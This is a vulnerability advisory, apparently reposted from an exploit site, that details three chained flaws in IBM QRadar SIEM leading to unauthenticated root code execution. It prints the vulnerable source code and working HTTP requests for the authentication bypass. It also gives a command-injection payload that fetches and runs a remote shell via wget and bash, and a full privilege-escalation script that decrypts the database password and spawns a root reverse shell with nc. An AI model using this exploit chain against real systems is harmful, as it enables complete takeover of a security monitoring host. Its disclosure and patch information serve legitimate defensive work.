IBM QRadar SIEM Code Execution / Authentication Bypass

Credit: Pedro Ribeiro
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Hi all, 3 vulns in IBM QRadar SIEM that when chained allow an attacker to achieve unauthenticated RCE as root on the QRadar host. IBM have only attributed on CVE for all 3 vulns, and they have a combined CVSS score of 5.6. So totally own a SIEM = 5.6 CVSS. Sounds right to me. A special thanks to Beyond Security's SSD programme, which helped me disclose these 3 vulnerabilities. See their advisory at: Also available in my repo: A Metasploit module has been released, and it is pending approval: Regards, Pedro ================ >> Multiple vulnerabilities in IBM QRadar SIEM >> Discovered by Pedro Ribeiro (, Agile Information Security ( ========================================================================== Disclosure: 28/05/2018 / Last updated: 25/08/2018 >> Introduction: From IBM's website [1]: "IBMA(r) QRadarA(r) SIEM detects anomalies, uncovers advanced threats and removes false positives. It consolidates log events and network flow data from thousands of devices, endpoints and applications distributed throughout a network. It then uses an advanced Sense Analytics engine to normalize and correlate this data and identifies security offenses requiring investigation. As an option, it can incorporate IBM X-ForceA(r) Threat Intelligence which supplies a list of potentially malicious IP addresses including malware hosts, spam sources and other threats. QRadar SIEM is available on premises and in a cloud environment." >> Background and summary: QRadar has a built-in server side application to perform forensic analysis on certain files. The vulnerabilities described below show how two logical bugs in the forensics application can be abused to bypass authentication, write a file to disk and execute it as an unpriviliged user. This file can then abuse a vulnerability in the way cron jobs are handled to cause a shell script to be executed as root. In summary, the full exploit chain allows an unauthenticated attacker to achieve remote code execution as root with a couple of HTTP requests. The forensics application is disabled in the free Community Edition, but the code is still there, and part of it still works. This application has two components, one servlet running in Java, and the main web application running PHP. QRadar has an Apache reverse proxy sitting in front of all its web applications, which routes requests according to the URL. Requests sent to /console/* get routed to the main "console" application, which not only runs the web interface but also performs the main functions of QRadar (and is not affected by these vulnerabilities). Then there are several helper applications, such as the forensics application described above, which can be reached at /forensics and /ForensicAnalysisServlet, the SOLR server, reachable at /solr and others. Special thanks to SecuriTeam for helping me disclose this vulnerability. Please see their advisory at [2] and IBM's response at [3]. Note that IBM have attributed a combined CVE for all three vulnerabilities, CVE-2018-1418. They have also scored these three vulnerabilities as CVSS 5.6... A Metasploit module that exploits these vulnerabilities to achieve unauthenticated remote code execution as root has been released in [4]. >> Technical details: #1 Vulnerability: Authentication Bypass (in ForensicAnalysisServlet) CVE-2018-1418 Attack Vector: Remote Constraints: None Affected products / versions: - IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions released since mid-2014 are affected QRadar authentication is done via a SEC cookie, which is a session UUID. This is managed centrally by a session manager which runs in the main QRadar console application. The SEC cookies can be obtained in three ways: - Upon login in the main console application - Using a previously created authorisation token (also created in the console) - From the /etc/qradar/conf/host.token file, which contains a UUID generated at install time, used by internal services to perform administrative actions. The ForensicAnalysisServlet stores the SEC cookie in a HashMap, and then checks if the cookie is valid with the console application before committing any action... except for one specific codepath. The function doGetOrPost() processes all requests to ForensicsAnalysisServlet. This function does a number of actions, such as fetching a results file, checking the status of an analysis request, etc. In order to authenticate, the requester has to have its SEC and QRadarCSRF tokens registered with the servlet. This is done by application with the setSecurityTokens action, with which a requester specifies both tokens and registers them with the servlet. In order to perform authentication for the setSecurityTokens action, the servlet checks if the host.token SEC cookie was sent with the request. However, if the forensicsManagedHostIps parameter is sent with the setSecurityTokens action, doGetOrPost() will pass on the request to doPassThrough() before authenticating it: protected void doGetOrPost(HttpServletRequest request, HttpServletResponse response) throws InterruptedException, IOException, ServletException, SolrServerException { ... String SEC = ""; String QRadarCSRF = ""; Cookie[] requestCookies = request.getCookies(); if(requestCookies != null) { Cookie[] var6 = requestCookies; int var7 = requestCookies.length; for(int var8 = 0; var8 < var7; ++var8) { Cookie cookie = var6[var8]; if(cookie.getName().equals("SEC")) { SEC = cookie.getValue(); } if(cookie.getName().equals("QRadarCSRF")) { QRadarCSRF = cookie.getValue(); } } } if(!SEC.isEmpty() && !QRadarCSRF.isEmpty()) { <----- checks if the cookies exist, but doesn't validate their values String actionParameterValue = "" + request.getParameter("action"); actionParameterValue = actionParameterValue.trim(); if(!actionParameterValue.equals("null") && !actionParameterValue.isEmpty()) { String solrDocIdsString = ""; String responseHash; if(!actionParameterValue.equals("setSecurityTokens")) { <----- if the parameter is setSecurityTokens, doesn't validate the cookies if(!this.SECCookiesMap.containsKey(SEC) || !this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) { logger.error("No valid forensics analysis SEC or QRadarCSRF cookie(s) found."); response.setStatus(403); return; } solrDocIdsString = "" + request.getParameter("solrDocIds"); if(solrDocIdsString.equals("null") || solrDocIdsString.trim().isEmpty()) { BufferedReader bufferedReader = request.getReader(); solrDocIdsString = ""; for(responseHash = ""; (responseHash = bufferedReader.readLine()) != null; solrDocIdsString = solrDocIdsString + responseHash) { ; } bufferedReader.close(); } } String forensicsManagedHostIps = "" + request.getParameter("forensicsManagedHostIps"); if(!forensicsManagedHostIps.equals("null")) { forensicsManagedHostIps = forensicsManagedHostIps.trim(); if(forensicsManagedHostIps.isEmpty()) { throw new ServletException("No valid forensics analysis forensicsManagedHostIps parameter found."); } responseHash = InetAddress.getLocalHost().getHostAddress(); forensicsManagedHostIps = forensicsManagedHostIps.replaceAll(responseHash, ""); if(!forensicsManagedHostIps.isEmpty()) { this.doPassThrough(request, response, forensicsManagedHostIps, solrDocIdsString, actionParameterValue); <----- if the forensicsManagedHostIps parameter is set, call doPassThrough return; } } ... } doPassThrough() also validates if the request contains a valid SEC cookie... at some point. The problem is that if we send the setSecurityTokens action, in the beginning of the function the SEC and QRadarCSRF values are added to the servlet HashMap of valid tokens... before being validated: private void doPassThrough(HttpServletRequest request, HttpServletResponse response, String forensicsManagedHostIps, String solrDocIdsString, String actionParameterValue) throws IOException, ServletException { String method = request.getMethod().toUpperCase(); String securityTokensString = ""; String[] securityTokens = null; RequestBuilder requestBuilder = RequestBuilder.create(method); String QRadarCSRF; if(!method.equals("GET")) { if(!actionParameterValue.equals("setSecurityTokens")) { requestBuilder.setEntity(new StringEntity(solrDocIdsString, "UTF-8")); } else { BufferedReader bufferedReader = request.getReader(); for(QRadarCSRF = ""; (QRadarCSRF = bufferedReader.readLine()) != null; securityTokensString = securityTokensString + QRadarCSRF) { ; } bufferedReader.close(); securityTokens = securityTokensString.split(","); this.SECCookiesMap.put(securityTokens[2], Long.valueOf((new Date()).getTime())); <---- POST values are added here if the setSecurityTokens parameter is set this.QRadarCSRFCookiesMap.put(securityTokens[3], Long.valueOf((new Date()).getTime())); } } ... } Following the code snippets above, it is clear that an unauthenticated user can insert arbitrary SEC and QRadarCSRF values into the servlet cookie HashMaps. To show this in action, let's try to do a request to the servlet, and we get a 403 error: Request: GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1 Cookie: SEC=owned; QRadarCSRF=superowned; Response: HTTP/1.1 403 Forbidden Now we send our request to add the SEC and QRadarCSRF values to the valid token lists: By sending the following request, the values "owned" and "superowned" are added to the valid SEC and QRadarCSRF tokens: POST /ForensicsAnalysisServlet/?action=setSecurityTokens&forensicsManagedHostIps=something HTTP/1.1 Cookie: SEC=owned; QRadarCSRF=superowned; Content-Type: application/json Content-Length: 44 something1002,something1003,owned,superowned To which the server will respond: HTTP/1.1 200 OK {"exceptionMessageValue":"javax.servlet.ServletException: No valid forensics analysis host token data found."} And now our cookies have been added to the SECCookiesMap and QradarCSRFCookiesMap, so we can invoke all actions (even the ones that required authenticated cookies) in ForensicsAnalysisServlet. So let's try to repeat the initial request, for which we got a 403: GET /ForensicsAnalysisServlet/?action=someaction HTTP/1.1 Cookie: SEC=owned; QRadarCSRF=superowned; Response: HTTP/1.1 200 OK {"exceptionMessageValue":"javax.servlet.ServletException: No valid forensics analysis solrDocIds parameter found."} Success! We've bypassed authentication. #2 Vulnerability: Command Injection (in PHP web application) CVE-2018-1418 Attack Vector: Remote Constraints: Authentication needed (can be bypassed with vulnerability #1) Affected products / versions: - IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions released since mid-2014 are affected The second vulnerability in this exploit chain is in the PHP part of the forensics web application. Using vulnerability #1 to add our SEC and QRadarCSRF cookies to the ForensicAnalysisServlet HashMaps means that we can invoke any function in the Java part of the application, but the PHP part uses a separate authentication scheme which doesn't have a similar flaw. However, it accepts any requests coming from localhost without needing authentication. Authentication is done in the PHP part by including the DejaVu/qradar_helper.php file, which invokes the LoginCurrentUser function: 1046 public function LoginCurrentUser ($remember, &$errorInfo) 1047 { 1048 //if local server request don't need to login the user 1049 if($_SERVER['REMOTE_ADDR'] == $_SERVER['SERVER_ADDR']) 1050 { 1051 return true; 1052 } 1053 Note that not having authentication for local requests is not necessarily a vulnerability, although it is a bad practice as it can lead to situations like we are going to describe. So how can we make requests seem like they come from localhost? Something as simple as changing the Host HTTP header will not work. Luckily, we can leverage ForensicAnalysisServlet doPassThrough() again. After the snippet shown in vulnerability #1, the function goes on to forward the request to the host address(es) entered in the forensicsManagedHostIps parameter: private void doPassThrough(HttpServletRequest request, HttpServletResponse response, String forensicsManagedHostIps, String solrDocIdsString, String actionParameterValue) throws IOException, ServletException { ... if(!SEC.isEmpty() && !QRadarCSRF.isEmpty()) { if(this.SECCookiesMap.containsKey(SEC) && this.QRadarCSRFCookiesMap.containsKey(QRadarCSRF)) { Map<String, String[]> parameterMap = request.getParameterMap(); Iterator var42 = parameterMap.keySet().iterator(); while(var42.hasNext()) { String parameterName = (String); if(!parameterName.equals("forensicsManagedHostIps")) { <----- gets all parameters except forensicsManagedHostIps and adds them to the request requestBuilder.addParameter(parameterName, ((String[])parameterMap.get(parameterName))[0]); } } requestBuilder.addHeader("Cookie", "SEC=" + SEC + "; " + "QRadarCSRF" + "=" + QRadarCSRF); timeout = this.connectionTimeout; Builder requestConfigBuilder = RequestConfig.custom(); requestConfigBuilder = requestConfigBuilder.setConnectTimeout(timeout); requestConfigBuilder = requestConfigBuilder.setConnectionRequestTimeout(timeout); requestConfigBuilder = requestConfigBuilder.setSocketTimeout(timeout); this.QrifHttpClientBuilder.setDefaultRequestConfig(; HttpClient httpClient =; int status = 0; String[] forensicsManagedHostIpsArray = forensicsManagedHostIps.split(","); <--- parses forensicsManagedHostIps string String fileName = "" + request.getParameter("fileName"); String requestResponseHash = "" + request.getParameter("responseHashValue"); if(this.forensicsResponseHashForensicsManagedHostIpsMap.containsKey(requestResponseHash)) { forensicsManagedHostIpsArray = new String[]{(String)this.forensicsResponseHashForensicsManagedHostIpsMap.get(requestResponseHash)}; } else if(!actionParameterValue.matches("do.*Analysis")) { if(this.forensicsDocForensicsManagedHostIpMap.containsKey(solrDocIdsString)) { forensicsManagedHostIpsArray = new String[]{(String)this.forensicsDocForensicsManagedHostIpMap.get(solrDocIdsString)}; } else if(actionParameterValue.equals("GetFile") && this.forensicsDocForensicsManagedHostIpMap.containsKey(fileName)) { forensicsManagedHostIpsArray = new String[]{(String)this.forensicsDocForensicsManagedHostIpMap.get(fileName)}; } } String[] var21 = forensicsManagedHostIpsArray; int var22 = forensicsManagedHostIpsArray.length; for(int var23 = 0; var23 < var22; ++var23) { String forensicsManagedHostIp = var21[var23]; if(!forensicsManagedHostIp.isEmpty()) { <---- for each host address in forensicsManagedHostIps, sends one request requestBuilder.setUri("https://" + forensicsManagedHostIp + "/ForensicsAnalysisServlet/"); String[] forensicsManagedHostSecurityTokens; ... HttpUriRequest httpUriRequest =; forensicsManagedHostSecurityTokens = null; HttpResponse httpResponse; try { httpResponse = httpClient.execute(httpUriRequest); It is clear from the code that if we send in the forensicsManagedHostIps parameter, we can make ForensicAnalysisServlet forward our request to the PHP web application and bypass authentication. So now how to exploit this? In the PHP we application, we have file.php, which has a "get" functionality that allows an authenticated user to fetch certain files off the filesystem. file.php forwards the request to DejaVu/FileActions.php, which does some checks to ensure that the file is in a restricted set of directories: 42 public static function Get() 43 { 44 global $TEMP_DIR, $PRODUCT_NAME, $QRADAR_PRE_URL_PATH; 45 $pcapArray = array_key_exists ( 'pcap', $_REQUEST ) ? $_REQUEST ['pcap'] : ''; 46 $acceptablePaths = array("/store/forensics/case_input","/store/forensics/case_input_staging", "/store/forensics/tmp"); 47 $docid = array_key_exists('docid', $_GET) ? $_GET['docid'] : ''; 48 $guitype = array_key_exists('gui', $_GET) ? htmlspecialchars($_GET['gui'], ENT_QUOTES) : 'standard'; 49 $path = array_key_exists('path', $_GET) ? $_GET['path'] : ''; 50 if (!empty($path)) 51 { 52 $path = urldecode($path); 53 $path = FileActions::validate_path($path, $acceptablePaths); 54 if(empty($path)) 55 { 56 QRadarLogger::logQradarError("FileActions.Get(): operation failed"); 57 return; 58 } 59 } ... 98 if (!empty($docid)) { 99 $doc = IndexQuery::GetDocument($docid, $guitype); 100 if ($doc) { 101 $savedFile = new SavedFile($doc); 102 if ($savedFile->hasFile()) { 103 if ($savedFile->isLocal()) 104 $savedFile->sendFile($guitype); 105 else 106 $savedFile->doProxy(); 107 } else 108 send404(); 109 } else 110 send404(); 111 112 } else if (!empty($path)) { 113 if (file_exists($path)) { 114 if (!SavedFile::VetFile($path, $guitype)) 115 return; 116 readfile($path); 117 } else 118 send404(); 119 The codepath that we are interested to hit is the pcapArray if, shown below. If we send a PHP array with several pcap parameters, the web application will ZIP these files before sending: 120 121 } else if (is_array($pcapArray)) { 122 $hostname = array_key_exists('hostname', $_REQUEST) ? $_REQUEST['hostname'] : $_SERVER['SERVER_ADDR']; 123 if (count($pcapArray) > 1) { 124 $basename = uniqid() . ".zip"; 125 $zip_filename = $TEMP_DIR . "/" . $basename; 126 } else { 127 $zip_filename = $pcapArray[0]['pcap']; 128 $basename = basename($zip_filename); 129 130 } 131 ... 149 150 for($i = 0, $j = count($pcapArray); $i < $j ; $i++) { 151 $pcapFileList[] = $pcapArray[$i]['pcap']; 152 } 153 154 if (count($pcapArray) > 1) { 155 // More than one pcap, so zip up the files and send the zip 156 $fileList = implode(' ', $pcapFileList); 157 //error_log("filename >> ".$filename); 158 //error_log( print_r($fileList,TRUE) ); Which clearly leads to a command injection right here, using the pcap filenames: 159 $cmd = "/usr/bin/zip -qj $zip_filename $fileList 2>&1"; 160 //error_log("\$cmd =".$cmd); 161 162 $result = exec($cmd, $cmd_output, $cmd_retval); Bingo! It allows us to execute code as the httpd web server user, which is the unprivileged "nobody" user, at least in a CentOS / RHEL installation. For example, to download and execute a shell from, we can send the following GET request, provided we have used vulnerability #1 to create valid SEC and QRadarCSRF cookies: GET /ForensicsAnalysisServlet/?forensicsManagedHostIps=[0][pcap]=/rand/file&pcap[1][pcap]=$(mkdir -p /store/configservices/staging/updates && wget -O /store/configservices/staging/updates/runme && /bin/bash /store/configservices/staging/updates/runme)& HTTP/1.1 Cookie: SEC=owned; QRadarCSRF=superowned; This will take a few seconds to process, but eventually our shell gets downloaded, executed, and we get the following response: HTTP/1.1 200 OK {"exceptionMessageValue":"javax.servlet.ServletException: No valid forensics analysis forensicsManagedHostIps parameter found."} The pcap[1][pcap] parameter is shown unencoded to facilitate reading, but the actual exploit should have this parameter fully URL encoded. As you can see, we can use the forensicsManagedHostIps not only to pick the host address but also to inject the URL path that will be used. Care needs to be taken when choosing a directory to download the file to. The "nobody" user cannot write to /tmp, but a good choice is /store/configservices/*, which is used for various tasks, and is writeable by "nobody". The /store/configservices/staging/updates/ was chosen (and created) because it plays a central role in our upcoming root privilege escalation exploit. #3 Vulnerability: Privilege Escalation (via database and cron job - "nobody" user to root) CVE-2018-1418 Attack Vector: Local Constraints: "nobody" user shell needed (can be obtained with vulnerability #2) Affected products / versions: - IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions released since mid-2014 are affected The final step to totally owning QRadar is to escalate privileges from our limited "nobody" user to root. For this we can leverage the following cron job, which runs as root every minute: # Check if autoupdate should be run * * * * * /opt/qradar/bin/ > /dev/null 2>&1 The code is convoluted, so it won't be shown here for brevity. However, this Perl script invokes checkRpm(), which then calls checkRpmStatus(). The latter will fetch the autoupdate_patch database table and check if there are any entries left to process. If the file entry name ends with .rpm, it will invoke processRpm(), which installs it, otherwise it will invoke installMinor(), which will run "sh +x" on the file entry. These file entries are expected to be in the "update_download_dir" directory, which can be fetched with psql -U qradar -c "select value from autoupdate_conf where key = 'update_download_dir'", but it is /store/configservices/staging/updates/ by default. As explained in vulnerability #2, /store/configservices/* is writeable by "nobody", so we can dump any files we want there, create directories, etc. Luckily, the "nobody" user can access the database - after all, the Java and PHP server processes need to access it, and they run as "nobody". Because the /tmp directory cannot be accessed by the "nobody" user, we cannot rely on password-less local socket connection to the database; so we have to use TCP/IP, which means we need the database password. The password is in /opt/qradar/conf/config_user.xml (readable by "nobody") and it is stored encrypted, but can be decrypted using the code of a built-in shell script. So once we have the database password, all we need to do is to add an entry to that table to a script we control (for example /store/configservices/staging/updates/, and within one minute it will be run as root: PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c "insert into autoupdate_patch values ('',558,'minor',false,1337,0,'',1,false,'','','',false)" The exploit script that does this privilege escalation and returns a root reverse shell to is shown below. This file can be written using a combination of vulnerabilities #1 and #2 to complete the full exploit chain, allowing an unauthenticated user to achieve root code execution remotely: #!/bin/bash # our reverse shell that will be executed as root cat <<EOF > /store/configservices/staging/updates/superowned #!/bin/sh nc -e /bin/sh 4445 EOF ### below is adapted from /opt/qradar/support/ [ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf" NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2` FRAMEWORKS_PROPERTIES_FILE="" FORENSICS_USER_FILE="config_user.xml" FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE" # get the encrypted db password from the config PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\w\=]*)(?=<)'` QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}') AU_CRYPT=/opt/qradar/lib/Q1/ P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-) P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-) #if 7.2.8 or greater, use new method for hashing and salting passwords if [ $QVERSION -gt 727 ] then PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED})) [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 else AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-` PASSWORD=`/opt/qradar/bin/ -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED` [ $? != 0 ] && echo "ERROR: Unable to decrypt $PASSWORDENCRYPTED" && exit 255 fi PGPASSWORD=$PASSWORD /usr/bin/psql -h localhost -U qradar qradar -c "insert into autoupdate_patch values ('superowned',558,'minor',false,1337,0,'',1,false,'','','',false)" # delete ourselves (sleep 2 && rm -- "$0") & >> Fix: See [3] for IBM's advisory. Upgrade to QRadar versions 7.3.1 Patch 3 or 7.2.8 Patch 28. >> References: [1] [2] [3] [4] ================ Agile Information Security Limited >> Enabling secure digital business >> -- Pedro Ribeiro Vulnerability and Reverse Engineer / Cyber Security Specialist PGP: 17EE 7884 06C9 DCA3 76A6 99E9 BC04 BAD1 DDF2 A2CE

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